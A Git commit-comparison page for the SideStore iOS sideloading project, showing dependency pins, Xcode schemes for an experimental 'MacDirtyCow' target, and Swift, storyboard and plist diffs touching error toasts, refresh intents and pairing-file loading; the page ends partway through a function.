Compare commits

..

2 Commits

Author SHA1 Message Date
junepark678
f013e956b3 bugfix(MDC): fix minor overlooks 2023-11-28 20:02:56 +09:00
junepark678
0e9deea7a6 feat(MDC): experimental mdc 2023-11-28 19:20:51 +09:00
81 changed files with 3525 additions and 2548 deletions

View File

@@ -2,7 +2,8 @@ name: Bug Report
description: Report a bug
title: "[BUG] "
labels: ["bug"]
assignees: []
assignees:
- naturecodevoid
body:
- type: markdown
attributes:

View File

@@ -2,7 +2,8 @@ name: Feature Request
description: Suggest a feature
title: "[FEATURE REQUEST] "
labels: ["enhancement"]
assignees: []
assignees:
- naturecodevoid
body:
- type: markdown
attributes:

View File

@@ -3,6 +3,7 @@ on:
push:
tags:
- '[0-9]+.[0-9]+.[0-9]+' # example: 1.0.0
workflow_dispatch:
jobs:
build:

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,113 @@
{
"pins" : [
{
"identity" : "altsign",
"kind" : "remoteSourceControl",
"location" : "https://github.com/SideStore/AltSign",
"state" : {
"branch" : "master",
"revision" : "cc6189f0f7cd8e5bd24943af9322e0ff9420e9f4"
}
},
{
"identity" : "appcenter-sdk-apple",
"kind" : "remoteSourceControl",
"location" : "https://github.com/microsoft/appcenter-sdk-apple.git",
"state" : {
"revision" : "b2dc99cfedead0bad4e6573d86c5228c89cff332",
"version" : "4.4.3"
}
},
{
"identity" : "imobiledevice.swift",
"kind" : "remoteSourceControl",
"location" : "https://github.com/SideStore/iMobileDevice.swift",
"state" : {
"revision" : "74e481106dd155c0cd21bca6795fd9fe5f751654",
"version" : "1.0.5"
}
},
{
"identity" : "keychainaccess",
"kind" : "remoteSourceControl",
"location" : "https://github.com/kishikawakatsumi/KeychainAccess.git",
"state" : {
"revision" : "84e546727d66f1adc5439debad16270d0fdd04e7",
"version" : "4.2.2"
}
},
{
"identity" : "launchatlogin",
"kind" : "remoteSourceControl",
"location" : "https://github.com/sindresorhus/LaunchAtLogin.git",
"state" : {
"revision" : "e8171b3e38a2816f579f58f3dac1522aa39efe41",
"version" : "4.2.0"
}
},
{
"identity" : "nuke",
"kind" : "remoteSourceControl",
"location" : "https://github.com/kean/Nuke.git",
"state" : {
"revision" : "9318d02a8a6d20af56505c9673261c1fd3b3aebe",
"version" : "7.6.3"
}
},
{
"identity" : "openssl",
"kind" : "remoteSourceControl",
"location" : "https://github.com/krzyzanowskim/OpenSSL",
"state" : {
"revision" : "0faf71a188bcfdf0245cab42886b9b240ca71c52",
"version" : "1.1.2200"
}
},
{
"identity" : "plcrashreporter",
"kind" : "remoteSourceControl",
"location" : "https://github.com/microsoft/PLCrashReporter.git",
"state" : {
"revision" : "81cdec2b3827feb03286cb297f4c501a8eb98df1",
"version" : "1.10.2"
}
},
{
"identity" : "semanticversion",
"kind" : "remoteSourceControl",
"location" : "https://github.com/SwiftPackageIndex/SemanticVersion.git",
"state" : {
"revision" : "a70840d5fca686ae3bd2fcf8aecc5ded0bd4f125",
"version" : "0.3.6"
}
},
{
"identity" : "sparkle",
"kind" : "remoteSourceControl",
"location" : "https://github.com/sparkle-project/Sparkle.git",
"state" : {
"revision" : "f0ceaf5cc9f3f23daa0ccb6dcebd79fc96ccc7d9",
"version" : "2.5.0"
}
},
{
"identity" : "starscream",
"kind" : "remoteSourceControl",
"location" : "https://github.com/daltoniam/Starscream.git",
"state" : {
"revision" : "ac6c0fc9da221873e01bd1a0d4818498a71eef33",
"version" : "4.0.6"
}
},
{
"identity" : "stprivilegedtask",
"kind" : "remoteSourceControl",
"location" : "https://github.com/JoeMatt/STPrivilegedTask.git",
"state" : {
"branch" : "master",
"revision" : "10a9150ef32d444af326beba76356ae9af95a3e7"
}
}
],
"version" : 2
}

View File

@@ -0,0 +1,67 @@
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1420"
version = "1.3">
<BuildAction
parallelizeBuildables = "YES"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BDE94B3D2B15EEDA00B506A1"
BuildableName = "MacDirtyCow.framework"
BlueprintName = "MacDirtyCow"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES">
<Testables>
</Testables>
</TestAction>
<LaunchAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
useCustomWorkingDirectory = "NO"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<MacroExpansion>
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BDE94B3D2B15EEDA00B506A1"
BuildableName = "MacDirtyCow.framework"
BlueprintName = "MacDirtyCow"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</MacroExpansion>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>

View File

@@ -0,0 +1,78 @@
<?xml version="1.0" encoding="UTF-8"?>
<Scheme
LastUpgradeVersion = "1420"
version = "1.3">
<BuildAction
parallelizeBuildables = "YES"
buildImplicitDependencies = "YES">
<BuildActionEntries>
<BuildActionEntry
buildForTesting = "YES"
buildForRunning = "YES"
buildForProfiling = "YES"
buildForArchiving = "YES"
buildForAnalyzing = "YES">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BDE94A972B15E4D300B506A1"
BuildableName = "SideStore MacDirtyCow.app"
BlueprintName = "SideStore MacDirtyCow"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildActionEntry>
</BuildActionEntries>
</BuildAction>
<TestAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
shouldUseLaunchSchemeArgsEnv = "YES">
<Testables>
</Testables>
</TestAction>
<LaunchAction
buildConfiguration = "Debug"
selectedDebuggerIdentifier = "Xcode.DebuggerFoundation.Debugger.LLDB"
selectedLauncherIdentifier = "Xcode.DebuggerFoundation.Launcher.LLDB"
launchStyle = "0"
useCustomWorkingDirectory = "NO"
ignoresPersistentStateOnLaunch = "NO"
debugDocumentVersioning = "YES"
debugServiceExtension = "internal"
allowLocationSimulation = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BDE94A972B15E4D300B506A1"
BuildableName = "SideStore MacDirtyCow.app"
BlueprintName = "SideStore MacDirtyCow"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</LaunchAction>
<ProfileAction
buildConfiguration = "Release"
shouldUseLaunchSchemeArgsEnv = "YES"
savedToolIdentifier = ""
useCustomWorkingDirectory = "NO"
debugDocumentVersioning = "YES">
<BuildableProductRunnable
runnableDebuggingMode = "0">
<BuildableReference
BuildableIdentifier = "primary"
BlueprintIdentifier = "BDE94A972B15E4D300B506A1"
BuildableName = "SideStore MacDirtyCow.app"
BlueprintName = "SideStore MacDirtyCow"
ReferencedContainer = "container:AltStore.xcodeproj">
</BuildableReference>
</BuildableProductRunnable>
</ProfileAction>
<AnalyzeAction
buildConfiguration = "Debug">
</AnalyzeAction>
<ArchiveAction
buildConfiguration = "Release"
revealArchiveInOrganizer = "YES">
</ArchiveAction>
</Scheme>

View File

@@ -81,7 +81,7 @@ final class AppContentViewController: UITableViewController
self.subtitleLabel.text = self.app.subtitle
self.descriptionTextView.text = self.app.localizedDescription
if let version = self.app.latestAvailableVersion
if let version = self.app.latestVersion
{
self.versionDescriptionTextView.text = version.localizedDescription
self.versionLabel.text = String(format: NSLocalizedString("Version %@", comment: ""), version.version)

View File

@@ -384,7 +384,7 @@ private extension AppViewController
button.progress = progress
}
if let versionDate = self.app.latestAvailableVersion?.date, versionDate > Date()
if let versionDate = self.app.latestVersion?.date, versionDate > Date()
{
self.bannerView.button.countdownDate = versionDate
self.navigationBarDownloadButton.countdownDate = versionDate
@@ -510,7 +510,7 @@ extension AppViewController
catch
{
DispatchQueue.main.async {
let toastView = ToastView(error: error, opensLog: true)
let toastView = ToastView(error: error)
toastView.show(in: self)
}
}

View File

@@ -61,8 +61,6 @@ final class AppDelegate: UIResponder, UIApplicationDelegate {
// Register default settings before doing anything else.
UserDefaults.registerDefaults()
DatabaseManager.shared.start { (error) in
if let error = error
{
@@ -382,7 +380,7 @@ private extension AppDelegate
for update in updates
{
guard !previousUpdates.contains(where: { $0[#keyPath(InstalledApp.bundleIdentifier)] == update.bundleIdentifier }) else { continue }
guard let storeApp = update.storeApp, let version = storeApp.latestSupportedVersion else { continue }
guard let storeApp = update.storeApp, let version = storeApp.version else { continue }
let content = UNMutableNotificationContent()
content.title = NSLocalizedString("New Update Available", comment: "")

View File

@@ -108,9 +108,11 @@ private extension AuthenticationViewController
case .failure(let error as NSError):
DispatchQueue.main.async {
let error = error.withLocalizedTitle(NSLocalizedString("Failed to Log In", comment: ""))
let error = error.withLocalizedFailure(NSLocalizedString("Failed to Log In", comment: ""))
let toastView = ToastView(error: error)
toastView.textLabel.textColor = .altPink
toastView.detailTextLabel.textColor = .altPink
toastView.show(in: self)
self.toastView = toastView

View File

@@ -1,9 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?>
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="32700.99.1234" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="wKh-xq-NuP">
<document type="com.apple.InterfaceBuilder3.CocoaTouch.Storyboard.XIB" version="3.0" toolsVersion="21223" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES" initialViewController="wKh-xq-NuP">
<device id="retina4_7" orientation="portrait" appearance="light"/>
<dependencies>
<deployment identifier="iOS"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="22684"/>
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="21204"/>
<capability name="Named colors" minToolsVersion="9.0"/>
<capability name="Safe area layout guides" minToolsVersion="9.0"/>
<capability name="System colors in document resources" minToolsVersion="11.0"/>
@@ -356,8 +356,8 @@
<stackView opaque="NO" contentMode="scaleToFill" distribution="equalSpacing" translatesAutoresizingMaskIntoConstraints="NO" id="ewH-gi-pyW">
<rect key="frame" x="0.0" y="30.5" width="335" height="17"/>
<subviews>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" verticalCompressionResistancePriority="751" text="Version 0.5.6" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="7E0-TV-G4l">
<rect key="frame" x="0.0" y="0.0" width="84" height="17"/>
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" verticalCompressionResistancePriority="751" text="Version 4.4.2" textAlignment="natural" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" adjustsFontSizeToFit="NO" translatesAutoresizingMaskIntoConstraints="NO" id="7E0-TV-G4l">
<rect key="frame" x="0.0" y="0.0" width="84.5" height="17"/>
<fontDescription key="fontDescription" type="system" pointSize="14"/>
<color key="textColor" white="0.66666666666666663" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
<nil key="highlightedColor"/>
@@ -596,7 +596,7 @@ World</string>
<tabBarItem key="tabBarItem" title="Browse" image="Browse" id="Uwh-Bg-Ymq"/>
<toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="dIv-qd-9L5" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="20" width="375" height="96"/>
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/>
<color key="tintColor" name="Primary"/>
</navigationBar>
@@ -626,7 +626,7 @@ World</string>
</tabBarItem>
<toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="CzO-Kt-BlZ" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="20" width="375" height="96"/>
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/>
</navigationBar>
<nil name="viewControllers"/>
@@ -883,7 +883,7 @@ World</string>
<navigationItem key="navigationItem" title="App IDs" id="3Co-uv-Fhb">
<barButtonItem key="leftBarButtonItem" style="plain" id="Aqs-QK-Ups">
<view key="customView" contentMode="scaleToFill" id="p0q-Fg-3Ba">
<rect key="frame" x="16" y="7" width="83" height="42"/>
<rect key="frame" x="16" y="1" width="83" height="42"/>
<autoresizingMask key="autoresizingMask" flexibleMaxX="YES" flexibleMaxY="YES"/>
</view>
</barButtonItem>
@@ -909,7 +909,7 @@ World</string>
<tabBarItem key="tabBarItem" title="News" image="News" id="fVN-ed-uO1"/>
<toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="525-jF-uDK" customClass="NavigationBar" customModule="SideStore" customModuleProvider="target">
<rect key="frame" x="0.0" y="20" width="375" height="96"/>
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/>
<edgeInsets key="layoutMargins" top="8" left="20" bottom="8" right="8"/>
</navigationBar>
@@ -928,7 +928,7 @@ World</string>
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="IXk-qg-mFJ" sceneMemberID="viewController">
<toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="9sB-f3-Fnk">
<rect key="frame" x="0.0" y="0.0" width="375" height="108"/>
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/>
</navigationBar>
<nil name="viewControllers"/>
@@ -1070,7 +1070,7 @@ World</string>
<navigationController automaticallyAdjustsScrollViewInsets="NO" id="Qo4-72-Hmr" sceneMemberID="viewController">
<toolbarItems/>
<navigationBar key="navigationBar" contentMode="scaleToFill" insetsLayoutMarginsFromSafeArea="NO" largeTitles="YES" id="mcx-oR-qPe">
<rect key="frame" x="0.0" y="0.0" width="375" height="108"/>
<rect key="frame" x="0.0" y="0.0" width="375" height="96"/>
<autoresizingMask key="autoresizingMask"/>
</navigationBar>
<nil name="viewControllers"/>
@@ -1095,13 +1095,13 @@ World</string>
<image name="News" width="19" height="20"/>
<image name="Settings" width="20" height="20"/>
<namedColor name="Background">
<color red="0.45098039215686275" green="0.015686274509803921" blue="0.68627450980392157" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
<color red="0.6431" green="0.0196" blue="0.9804" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor>
<namedColor name="BlurTint">
<color red="1" green="1" blue="1" alpha="0.30000001192092896" colorSpace="custom" customColorSpace="sRGB"/>
<color red="1" green="1" blue="1" alpha="0.3" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor>
<namedColor name="Primary">
<color red="0.64313725490196083" green="0.019607843137254902" blue="0.98039215686274506" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
<color red="0.6431" green="0.0196" blue="0.9804" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
</namedColor>
<systemColor name="systemBackgroundColor">
<color white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>

View File

@@ -114,9 +114,9 @@ private extension BrowseViewController
let progress = AppManager.shared.installationProgress(for: app)
cell.bannerView.button.progress = progress
if let versionDate = app.latestSupportedVersion?.date, versionDate > Date()
if let versionDate = app.latestVersion?.date, versionDate > Date()
{
cell.bannerView.button.countdownDate = versionDate
cell.bannerView.button.countdownDate = app.versionDate
}
else
{
@@ -278,7 +278,7 @@ private extension BrowseViewController
{
case .failure(OperationError.cancelled): break // Ignore
case .failure(let error):
let toastView = ToastView(error: error, opensLog: true)
let toastView = ToastView(error: error)
toastView.show(in: self)
case .success: print("Installed app:", app.bundleIdentifier)

View File

@@ -18,17 +18,8 @@ extension TimeInterval
final class ToastView: RSTToastView
{
static let openErrorLogNotification = Notification.Name("ALTOpenErrorLogNotification")
var preferredDuration: TimeInterval
var opensErrorLog: Bool = false
convenience init(text: String, detailText: String?, opensLog: Bool = false) {
self.init(text: text, detailText: detailText)
self.opensErrorLog = opensLog
}
override init(text: String, detailText detailedText: String?)
{
if detailedText == nil
@@ -52,43 +43,53 @@ final class ToastView: RSTToastView
// RSTToastView does not expose stack view containing labels,
// so we access it indirectly as the labels' superview.
stackView.spacing = (detailedText != nil) ? 4.0 : 0.0
stackView.alignment = .leading
}
self.addTarget(self, action: #selector(ToastView.showErrorLog), for: .touchUpInside)
}
convenience init(error: Error, opensLog: Bool = false) {
self.init(error: error)
self.opensErrorLog = opensLog
}
convenience init(error: Error)
{
var error = error as NSError
var underlyingError = error.underlyingError
var preferredDuration: TimeInterval?
if
let unwrappedUnderlyingError = underlyingError,
error.domain == AltServerErrorDomain && error.code == ALTServerError.Code.underlyingError.rawValue
{
// Treat underlyingError as the primary error, but keep localized title + failure.
let nsError = error as NSError
// Treat underlyingError as the primary error.
error = unwrappedUnderlyingError as NSError
if let localizedTitle = nsError.localizedTitle {
error = error.withLocalizedTitle(localizedTitle)
}
if let localizedFailure = nsError.localizedFailure {
error = error.withLocalizedFailure(localizedFailure)
}
underlyingError = nil
preferredDuration = .longToastViewDuration
}
let text = error.localizedTitle ?? NSLocalizedString("Operation Failed", comment: "")
let detailText = error.localizedDescription
let text: String
let detailText: String?
if let failure = error.localizedFailure
{
text = failure
detailText = error.localizedFailureReason ?? error.localizedRecoverySuggestion ?? underlyingError?.localizedDescription ?? error.localizedDescription
}
else if let reason = error.localizedFailureReason
{
text = reason
detailText = error.localizedRecoverySuggestion ?? underlyingError?.localizedDescription
}
else
{
text = error.localizedDescription
detailText = underlyingError?.localizedDescription ?? error.localizedRecoverySuggestion
}
self.init(text: text, detailText: detailText)
if let preferredDuration = preferredDuration
{
self.preferredDuration = preferredDuration
}
}
required init(coder aDecoder: NSCoder) {
@@ -111,18 +112,6 @@ final class ToastView: RSTToastView
override func show(in view: UIView, duration: TimeInterval)
{
if opensErrorLog, #available(iOS 13.0, *), case let configuration = UIImage.SymbolConfiguration(font: self.textLabel.font),
let icon = UIImage(systemName: "chevron.right.circle", withConfiguration: configuration) {
let tintedIcon = icon.withTintColor(.white, renderingMode: .alwaysOriginal)
let moreIconImageView = UIImageView(image: tintedIcon)
moreIconImageView.translatesAutoresizingMaskIntoConstraints = false
self.addSubview(moreIconImageView)
NSLayoutConstraint.activate([
moreIconImageView.trailingAnchor.constraint(equalTo: self.trailingAnchor, constant: -self.layoutMargins.right),
moreIconImageView.centerYAnchor.constraint(equalTo: self.textLabel.centerYAnchor),
moreIconImageView.leadingAnchor.constraint(greaterThanOrEqualToSystemSpacingAfter: self.textLabel.trailingAnchor, multiplier: 1.0)
])
}
super.show(in: view, duration: duration)
let announcement = (self.textLabel.text ?? "") + ". " + (self.detailTextLabel.text ?? "")
@@ -138,10 +127,4 @@ final class ToastView: RSTToastView
{
self.show(in: view, duration: self.preferredDuration)
}
@objc
func showErrorLog() {
guard self.opensErrorLog else { return }
NotificationCenter.default.post(name: ToastView.openErrorLogNotification, object: self)
}
}

View File

@@ -2,8 +2,6 @@
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>ALTAnisetteURL</key>
<string>https://ani.sidestore.io</string>
<key>ALTAppGroups</key>
<array>
<string>group.$(APP_GROUP_IDENTIFIER)</string>
@@ -11,10 +9,12 @@
</array>
<key>ALTDeviceID</key>
<string>00008101-000129D63698001E</string>
<key>ALTPairingFile</key>
<string>&lt;insert pairing file here&gt;</string>
<key>ALTServerID</key>
<string>1F7D5B55-79CE-4546-A029-D4DDC4AF3B6D</string>
<key>ALTPairingFile</key>
<string>&lt;insert pairing file here&gt;</string>
<key>ALTAnisetteURL</key>
<string>https://ani.sidestore.io</string>
<key>CFBundleDevelopmentRegion</key>
<string>$(DEVELOPMENT_LANGUAGE)</string>
<key>CFBundleDocumentTypes</key>
@@ -44,6 +44,8 @@
<string>$(PRODUCT_NAME)</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>LSSupportsOpeningDocumentsInPlace</key>
<true/>
<key>CFBundleShortVersionString</key>
<string>$(MARKETING_VERSION)</string>
<key>CFBundleURLTypes</key>
@@ -91,13 +93,6 @@
</array>
<key>LSRequiresIPhoneOS</key>
<true/>
<key>LSSupportsOpeningDocumentsInPlace</key>
<true/>
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
<true/>
</dict>
<key>NSBonjourServices</key>
<array>
<string>_altserver._tcp</string>
@@ -136,10 +131,13 @@
<string>fetch</string>
<string>remote-notification</string>
</array>
<key>UIFileSharingEnabled</key>
<true/>
<key>UILaunchStoryboardName</key>
<string>LaunchScreen</string>
<key>NSAppTransportSecurity</key>
<dict>
<key>NSAllowsArbitraryLoads</key>
<true/>
</dict>
<key>UIMainStoryboardFile</key>
<string>Main</string>
<key>UIRequiredDeviceCapabilities</key>
@@ -206,5 +204,7 @@
</dict>
</dict>
</array>
<key>UIFileSharingEnabled</key>
<true/>
</dict>
</plist>

View File

@@ -8,7 +8,6 @@
import Foundation
import minimuxer
import AltStoreCore
@available(iOS 14, *)
@@ -40,12 +39,8 @@ final class IntentHandler: NSObject, RefreshAllIntentHandling
// Give ourselves 9 extra seconds before starting handle() timeout timer.
// 10 seconds or longer results in timeout regardless.
self.queue.asyncAfter(deadline: .now() + 8.0) {
if minimuxer.ready() {
self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil))
} else {
self.finish(intent, response: RefreshAllIntentResponse(code: .failure, userActivity: nil))
}
self.queue.asyncAfter(deadline: .now() + 9.0) {
self.finish(intent, response: RefreshAllIntentResponse(code: .ready, userActivity: nil))
}
if !DatabaseManager.shared.isStarted
@@ -57,14 +52,12 @@ final class IntentHandler: NSObject, RefreshAllIntentHandling
}
else
{
self.finish(intent, response: RefreshAllIntentResponse(code: .ready, userActivity: nil))
self.refreshApps(intent: intent)
}
}
}
else
{
self.finish(intent, response: RefreshAllIntentResponse(code: .ready, userActivity: nil))
self.refreshApps(intent: intent)
}
}
@@ -90,11 +83,6 @@ final class IntentHandler: NSObject, RefreshAllIntentHandling
// We took too long to finish and return the final result,
// so we'll now present a normal notification when finished.
operation.presentsFinishedNotification = true
if minimuxer.ready() {
self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil))
} else {
self.finish(intent, response: RefreshAllIntentResponse(code: .failure, userActivity: nil))
}
}
self.finish(intent, response: RefreshAllIntentResponse(code: .inProgress, userActivity: nil))
@@ -118,8 +106,6 @@ private extension IntentHandler
{
// Queue response in case refreshing finishes after confirm() but before handle().
self.queuedResponses[intent] = response
UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
}
}
}
@@ -140,12 +126,10 @@ private extension IntentHandler
}
self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil))
UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
}
catch ~RefreshErrorCode.noInstalledApps
catch RefreshError.noInstalledApps
{
self.finish(intent, response: RefreshAllIntentResponse(code: .success, userActivity: nil))
UIApplication.shared.perform(#selector(NSXPCConnection.suspend))
}
catch let error as NSError
{

View File

@@ -49,43 +49,6 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
override func viewDidAppear(_ animated: Bool) {
super.viewDidAppear(true)
if #available(iOS 17, *), !UserDefaults.standard.sidejitenable {
DispatchQueue.global().async {
self.isSideJITServerDetected() { result in
DispatchQueue.main.async {
switch result {
case .success():
let dialogMessage = UIAlertController(title: "SideJITServer Detected", message: "Would you like to enable SideJITServer", preferredStyle: .alert)
// Create OK button with action handler
let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in
UserDefaults.standard.sidejitenable = true
})
let cancel = UIAlertAction(title: "Cancel", style: .cancel)
//Add OK button to a dialog message
dialogMessage.addAction(ok)
dialogMessage.addAction(cancel)
// Present Alert to
self.present(dialogMessage, animated: true, completion: nil)
case .failure(_):
print("Cannot find sideJITServer")
}
}
}
}
}
if #available(iOS 17, *), UserDefaults.standard.sidejitenable {
DispatchQueue.global().async {
self.askfornetwork()
}
print("SideJITServer Enabled")
}
#if !targetEnvironment(simulator)
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
@@ -97,46 +60,6 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
#endif
}
func askfornetwork() {
let address = UserDefaults.standard.textInputSideJITServerurl ?? ""
var SJSURL = address
if (UserDefaults.standard.textInputSideJITServerurl ?? "").isEmpty {
SJSURL = "http://sidejitserver._http._tcp.local:8080"
}
// Create a network operation at launch to Refresh SideJITServer
let url = URL(string: "\(SJSURL)/re/")!
let task = URLSession.shared.dataTask(with: url) { (data, response, error) in
print(data)
}
task.resume()
}
func isSideJITServerDetected(completion: @escaping (Result<Void, Error>) -> Void) {
let address = UserDefaults.standard.textInputSideJITServerurl ?? ""
var SJSURL = address
if (UserDefaults.standard.textInputSideJITServerurl ?? "").isEmpty {
SJSURL = "http://sidejitserver._http._tcp.local:8080"
}
// Create a network operation at launch to Refresh SideJITServer
let url = URL(string: SJSURL)!
let task = URLSession.shared.dataTask(with: url) { (data, response, error) in
if let error = error {
print("No SideJITServer on Network")
completion(.failure(error))
return
}
completion(.success(()))
}
task.resume()
return
}
func fetchPairingFile() -> String? {
let filename = "ALTPairingFile.mobiledevicepairing"
let fm = FileManager.default
@@ -149,11 +72,10 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
fm.fileExists(atPath: appResourcePath.path),
let data = fm.contents(atPath: appResourcePath.path),
let contents = String(data: data, encoding: .utf8),
!contents.isEmpty,
!UserDefaults.standard.isPairingReset {
!contents.isEmpty {
print("Loaded ALTPairingFile from \(appResourcePath.path)")
return contents
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here"), !UserDefaults.standard.isPairingReset{
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here"){
print("Loaded ALTPairingFile from Info.plist")
return plistString
} else {
@@ -171,7 +93,6 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
documentPickerController.shouldShowFileExtensions = true
documentPickerController.delegate = self
self.present(documentPickerController, animated: true, completion: nil)
UserDefaults.standard.isPairingReset = false
})
//Add OK button to a dialog message
@@ -180,13 +101,6 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
// Present Alert to
self.present(dialogMessage, animated: true, completion: nil)
let dialogMessage2 = UIAlertController(title: "Analytics", message: "This app contains anonymous analytics for research and project development. By continuing to use this app, you are consenting to this data collection", preferredStyle: .alert)
let ok2 = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in})
dialogMessage2.addAction(ok2)
self.present(dialogMessage2, animated: true, completion: nil)
return nil
}
}

View File

@@ -14,7 +14,6 @@ import Intents
import Combine
import WidgetKit
import minimuxer
import AltStoreCore
import AltSign
import Roxas
@@ -38,6 +37,11 @@ final class AppManagerPublisher: ObservableObject
fileprivate(set) var refreshProgress = [String: Progress]()
}
private func ==(lhs: OperatingSystemVersion, rhs: OperatingSystemVersion) -> Bool
{
return (lhs.majorVersion == rhs.majorVersion && lhs.minorVersion == rhs.minorVersion && lhs.patchVersion == rhs.patchVersion)
}
final class AppManager
{
static let shared = AppManager()
@@ -313,35 +317,6 @@ extension AppManager
self.run([clearAppCacheOperation], context: nil)
}
func log(_ error: Error, operation: LoggedError.Operation, app: AppProtocol)
{
switch error {
case ~OperationError.Code.cancelled: return // Don't log cancelled events
default: break
}
// Sanitize NSError on same thread before performing background task.
let sanitizedError = (error as NSError).sanitizedForSerialization()
DatabaseManager.shared.persistentContainer.performBackgroundTask { context in
var app = app
if let managedApp = app as? NSManagedObject, let tempApp = context.object(with: managedApp.objectID) as? AppProtocol
{
app = tempApp
}
do
{
_ = LoggedError(error: sanitizedError, app: app, operation: operation, context: context)
try context.save()
}
catch let saveError
{
